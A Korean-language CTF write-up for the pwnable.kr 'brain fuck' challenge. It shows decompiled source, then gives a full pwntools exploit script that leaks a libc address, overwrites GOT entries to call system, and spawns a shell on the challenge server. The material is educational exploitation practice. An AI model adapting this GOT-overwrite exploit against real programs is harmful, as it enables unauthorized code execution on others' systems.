Post

pwnable.kr brain fuck write-up

소스코드 분석


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char input[1024]; // [esp+2Ch] [ebp-408h] BYREF
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(input, 0, sizeof(input));
  fgets(input, 1024, stdin);
  for ( i = 0; i < strlen(input); ++i )
    do_brainfuck(input[i]);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl do_brainfuck(char input)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = input - 43;
  switch ( input )
  {
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);
      break;
    case '<':
      result = --p;
      break;
    case '>':
      result = ++p;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

brainfuck 언어에서 [, ] 명령어가 제외된 것을 확인할 수 있다.
바이너리 안에서 포인터 값을 조작하며 쉘을 획득할 수 있을 것 같다.

명령어에 대한 설명은 다음과 같다.

문자의미
>포인터 증가
<포인터 감소
+포인터가 가리키는 바이트의 값 증가
-포인터가 가리키는 바이트의 값 감소
.포인터가 가리키는 바이트의 값을 ASCII 문자로 출력
,포인터가 가리키는 바이트에 입력받은 문자의 ASCII 값을 넣음
[포인터가 가리키는 바이트의 값이 0이면 짝이 되는 뒤쪽의 ]로 이동
]포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 앞쪽의 [로 이동

출처: 위키백과

익스플로잇


1024 바이트만 입력할 수 있기 때문에 포인터 값을 조작할 수 있는 범위내에서 조작해야 한다.

시나리오

  1. system 함수의 실제 주소를 구한다.
  2. fgets -> system got overwrite
  3. memset -> gets got overwrite
  4. putchar -> main got overwrite
  5. putchar를 통해 main 함수를 호출하여 쉘을 획득한다.

getchar 함수로 하위 바이트를 조작하며 overwrite를 진행하였다.

p가 가리키는 값을 p로 변경하면 getchar 함수를 통해 하위 바이트를 쉽게 조작할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#bf.py
from pwn import *
# context.log_level = 'debug'

# p = process('./bf')
p = remote('pwnable.kr', 9001)
e = ELF('./bf')
libc = e.libc

payload = '<' * 0x20
payload += ',.>.>.>.'
payload += '>' * 0x65
payload += ',,>,>,>,'
payload += '>' * 0x6d
payload += ',,>,>,>,'
payload += '>' * 0x51
payload += ',,>,>,>,'
payload += '.'

p.sendlineafter(']\n', payload)

p.send('\x18')
puts_addr = u32(p.recvuntil('\xf7'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
gets_addr = libc_base + libc.sym['gets']

log.info('puts: ' + hex(puts_addr))
log.info('libc_base: ' + hex(libc_base))

p.send('\x10')
p.send(p32(system_addr))

p.send('\x2c')
p.send(p32(gets_addr))

p.send('\x30')
p.send(p32(e.sym['main']))

p.sendlineafter(']\n', '/bin/sh')

p.interactive()

0

쉘을 획득했다.

This post is licensed under CC BY 4.0 by the author.